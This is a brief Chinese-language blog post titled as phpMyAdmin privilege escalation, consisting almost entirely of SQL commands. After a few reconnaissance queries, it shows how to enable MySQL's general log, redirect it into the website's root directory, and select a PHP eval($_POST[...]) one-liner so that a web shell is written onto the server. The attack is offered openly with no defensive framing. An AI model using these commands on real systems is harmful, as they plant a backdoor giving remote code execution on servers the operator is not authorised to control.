醉梦半醒的博客

phpMyAdmin提权

字数统计: 58阅读时长: 1 min
2019/02/08 Share

 

信息收集:

Select @@datadir;
SHOW VARIABLES LIKE “log%”
SHOW VARIABLES LIKE “general%”

写马:
set global general_log = “ON”;
SET global general_log_file=’网站根目录’;
select “<?php eval($_POST[‘pass’]);”;
SELECT “<?php
eval($_POST[‘cee4ac0b6e841963c’]);
phpinfo();
?>”

CATALOG